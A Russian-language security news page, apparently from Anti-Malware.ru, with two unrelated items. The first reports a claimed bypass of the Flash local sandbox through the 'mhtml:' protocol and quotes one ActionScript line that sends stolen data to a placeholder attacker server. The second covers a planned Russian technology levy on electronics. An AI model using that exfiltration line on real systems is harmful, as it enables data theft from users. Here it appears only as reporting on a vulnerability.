Простой способ обхода «песочницы» Flash

Простой способ обхода «песочницы» Flash

Был найден специалистом в области безопасности. Он утверждает, что даже если файл был запущен локально, то для злоумышленника отправить его на удаленный сервер не составит труда.

Как известно, компания Adobe в своей продукции предусмотрела некоторые меры по защите доступа к сети. Одной из мер является встроенная в приложение «песочница», посредством которой осуществляется контроль доступа к сети через черный список. В этот список включены заголовки протоколов, например HTTP и HTTPS.

Однако, исследователь в области безопасности Билли Риос, утверждает, что можно отправлять файлы на сервер, используя в заголовках запись «file:», но в этом случае данные будут гулять по локальной сети. А для отправки данных на удаленный сервер, по его мнению, вполне подойдет заголовок – mhtml.

Этот заголовок по умолчанию поддерживается в операционных системах семейства Windows, и поэтому данные могут быть отправлены при помощи ActionScript команды: «getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”);». Стоит заметить, что для подтверждения своей гипотезы специалист не привел никаких демонстрационных материалов.

Конечно, удивительно, что настолько легко и просто можно обойти одну из «песочниц»
Flash. Однако, это открытие не представляет серьезной опасности, поскольку вряд ли пользователи будут специально скачивать себе на компьютер SWF файл, чтобы просмотреть через плеер. Обычно, такие файлы просматриваются в обозревателе, где предусмотрен иной набор правил.

Техсбор на электронику обойдётся бизнесу в 136 млрд рублей

Российские производители и импортёры электроники потратят на технологический сбор 136 млрд рублей за шесть лет, в среднем по 22,7 млрд ежегодно. Такая оценка содержится в сопроводительных материалах к проекту Минпромторга. Сбор будут взимать как при ввозе электронных компонентов и готовых устройств в Россию, так и при их производстве внутри страны.

Под платёж попадут модули и техника, в которой они используются. Проект устанавливает правила расчёта и уплаты сбора, возврата переплаты и обмена сведениями между ведомствами.

Предполагается, что новая система заработает 1 декабря 2026 года. Общественное обсуждение продлится до 25 августа. Карточка проекта Минпромторга находится здесь.

Технологический сбор станет неналоговым платежом для производителей и импортёров. Его планируют вводить поэтапно, сначала для готовой техники, затем для отдельных компонентов. Максимальная ставка составит 5 тыс. рублей за единицу товара, а конкретный размер будет зависеть от марки, модели и технических характеристик.

Ранее обсуждались ставки в 500 рублей для ноутбука и 250 рублей для смартфона. Окончательные тарифы пока не утверждены.

Все поступления направят в федеральный бюджет, а затем — на поддержку электронной и радиоэлектронной промышленности, локализацию и создание полного производственного цикла. В Минпромторге сравнивали механизм с автомобильным утильсбором и допускали его временный характер.

При этом прежний прогноз Минфина заметно отличается: ведомство ожидало получить 218 млрд рублей уже к концу 2028 года. Эта сумма не совпадает с шестилетней оценкой нагрузки в 136 млрд рублей, поэтому напрямую сопоставлять показатели без разъяснений ведомств нельзя.

Для покупателей главный вопрос: сколько из этих расходов бизнес в итоге переложит в ценники.

RSS: Новости на портале Anti-Malware.ru